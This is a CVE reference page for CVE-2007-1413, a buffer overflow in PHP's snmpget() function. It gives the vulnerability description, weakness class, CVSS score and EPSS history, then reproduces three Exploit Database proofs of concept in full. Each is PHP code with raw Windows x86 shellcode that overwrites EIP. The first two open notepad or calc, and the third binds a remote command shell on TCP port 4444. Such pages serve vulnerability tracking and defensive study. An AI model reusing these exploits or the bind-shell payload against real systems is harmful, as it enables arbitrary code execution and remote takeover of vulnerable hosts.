CVE-2007-1413

CVE Descriptions

Buffer overflow in the snmpget function in the snmp extension in PHP 5.2.3 and earlier, including PHP 4.4.6 and probably other PHP 4 versions, allows context-dependent attackers to execute arbitrary code via a long value in the third argument (object id).

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	9.01%	–	–
2022-04-03	–	–	9.01%	–	–
2022-04-10	–	–	9.01%	–	–
2023-03-12	–	–	–	1.15%	–
2023-11-05	–	–	–	1.13%	–
2023-12-10	–	–	–	1.34%	–
2024-02-11	–	–	–	1.34%	–
2024-06-02	–	–	–	1.34%	–
2024-11-03	–	–	–	1.34%	–
2024-12-22	–	–	–	1.34%	–
2025-01-19	–	–	–	1.34%	–
2025-03-18	–	–	–	–	12.7%
2025-04-15	–	–	–	–	12.7%
2025-04-15	–	–	–	–	12.7,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	83%
2022-04-03	93%
2022-04-10	94%
2023-03-12	83%
2023-11-05	83%
2023-12-10	85%
2024-02-11	86%
2024-06-02	86%
2024-11-03	87%
2024-12-22	86%
2025-01-19	86%
2025-03-18	93%
2025-04-15	94%
2025-04-15	94%

Exploit information

Exploit Database EDB-ID : 3439

Publication date : 2007-03-08 23h00 +00:00
Author : rgod
EDB Verified : Yes

<?php // PHP 4.4.6 snmpget() object id local buffer overflow poc exploit // by rgod // site: http://retrogod.altervista.org // win xp sp2 version // to be launched form the cli if (!extension_loaded("snmp")){ die("you need the snmp extension loaded."); } $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec "\xff\xd3". "\x31\xc0". "\x50". "\xbb\xda\xcd\x81\x7c". //ExitProcess "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $edx="\x64\x8f\x9b\x01"; //jmp scode $eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx $____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x90",48).$____scode.str_repeat("\x90",48); //more than 256 chars result in simple eip overwrite snmpget(1,1,$____suntzu); ?> # milw0rm.com [2007-03-09]

Exploit Database EDB-ID : 4204

Publication date : 2007-07-19 22h00 +00:00
Author : shinnai
EDB Verified : Yes

<?php //PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit //bug discovered by rgod //Original advisory: http://retrogod.altervista.org/php_446_snmpget_local_bof.html //[quote="rgod"]more than 256 chars result in simple eip overwrite[/quote] //right! so here it is an exploit using eip overwrite //author: shinnai //mail: shinnai[at]autistici[dot]org //site: http://shinnai.altervista.org //Tested on xp Pro sp2 full patched if (!extension_loaded("snmp")) die("snmp extension required!"); $buffer = str_repeat("A",256); $EIP="\xFF\xBE\x3F\x7E"; //call esp from user32.dll $nop=str_repeat("\x90",8); $shellcode= //execute calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54". "\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x53\x4b\x58\x4e\x37". "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48". "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38". "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c". "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x53\x46\x35\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x48". "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54". "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x38". "\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43". "\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x37". "\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x31\x4d\x4a". "\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b". "\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x35\x41\x33". "\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x57". "\x42\x55\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x4a\x46\x4a\x49". "\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x36". "\x4e\x46\x43\x46\x50\x52\x45\x36\x4a\x37\x45\x36\x42\x30\x5a"; $egg = $buffer.$EIP.$nop.$shellcode.$nop; snmpget (1, 1, $egg); ?> # milw0rm.com [2007-07-20]

Exploit Database EDB-ID : 4274

Publication date : 2007-08-08 22h00 +00:00
Author : Inphex
EDB Verified : Yes

<?php /* Inphex reference ->http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\apache> */ if (!extension_loaded("snmp")) { die("snmp extension required!"); } $buffer = str_repeat("A",254); $ret = "\xD7\x98\x95\x7C"; #shell32.dll ->CALL EDI WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf" . "\xbf\xf1\xc8\xd7\xb9\xf9\x2c\xd8\x5a\x8d\xbf\x02\xbf\x1a" . "\x7a\x76\x34\x60\x80\xfe\x4b\x76\x01\xb1\x53\x03\x49\x6d" . "\x65\xf8\x3f\xe6\x51\x75\xbe\x16\xa8\x49\x58\x4a\x4f\x89" . "\x2f\x95\x91\xc0\xdd\x98\xd3\x3e\x29\xa1\x87\xe4\xfa\xa0" . "\xc2\x6e\xa5\x6e\x0c\x9a\x3c\xe5\x02\x17\x4a\xa6\x06\xa6" . "\xa7\x5b\x1b\x23\xbe\x37\x47\x2f\xa0\x04\xb6\x94\x46\x01" . "\xfa\x1a\x0c\x55\xf1\xd1\x62\x49\xa4\x6d\xc2\x79\xe8\x19" . "\x4d\x37\x1a\x36\x01\x38\xf4\xa0\xf1\xa0\x91\x1f\xc4\x44" . "\x15\x13\x1a\xcb\x8d\x2c\x8a\x9b\xe6\x3e\xd7\x60\xa9\x3f" . "\xfe\xc9\xc0\x25\x99\x74\x3f\xad\x64\x23\xaa\xac\x97\x1b" . "\x42\x68\x6e\x6e\x3e\xdd\x8e\x46\x12\xb1\x23\x35\xc6\x76" . "\x97\xfa\xbb\x87\xc7\x9a\x53\x69\xb4\x04\xf7\x00\xa5\x5d" . "\x9f\xb6\x3c\x2d\xa7\xe0\xbf\x1b\x4d\x1f\x11\xf6\x6d\xcf" . "\xf9\x5c\x3c\xde\x10\xcb\xc0\xc9\xb0\xa6\xc1\x26\x5e\xad" . "\x77\x41\xd6\x7a\x77\x9b\xb9\xd0\xd3\x71\xc5\x08\x48\x11" . "\xde\xd1\xa9\x9b\x77\xde\xe0\x09\x87\xf0\x6b\xd8\x13\x96" . "\x1b\x7f\xb1\xdf\x39\x15\x19\x86\xe8\x26\x10\xdf\x81\xf2" . "\xaa\xfd\x67\x3b\x5f\xab\x76\xf9\x8d\x55\xc4\xd2\x5e\x24" . "\xb3\x12\xca\x9d\xef\x0b\x7e\x1f\x5c\xdd\x81\xaa\xe7\x1d" . "\xab\x0f\xbf\xb3\x05\xfe\x6e\x5e\xa7\x51\xc0\xcb\xf6\xae" . "\x32\x9b\x55\x89\xb6\x92\xf5\xd6\x6f\x40\x05\xd7\xa7\x6a" . "\x29\xac\x9f\x68\x49\x76\x7b\x6e\x98\x24\x7b\x40\x4d\x38" . "\x09\x65\xd1\xeb\xf1\xb0\x12\xdb\x0e\x3d\xed"; snmpget (1, 1, $buffer."\xeb\x04".$ret."".$shellcode.""); ?> # milw0rm.com [2007-08-09]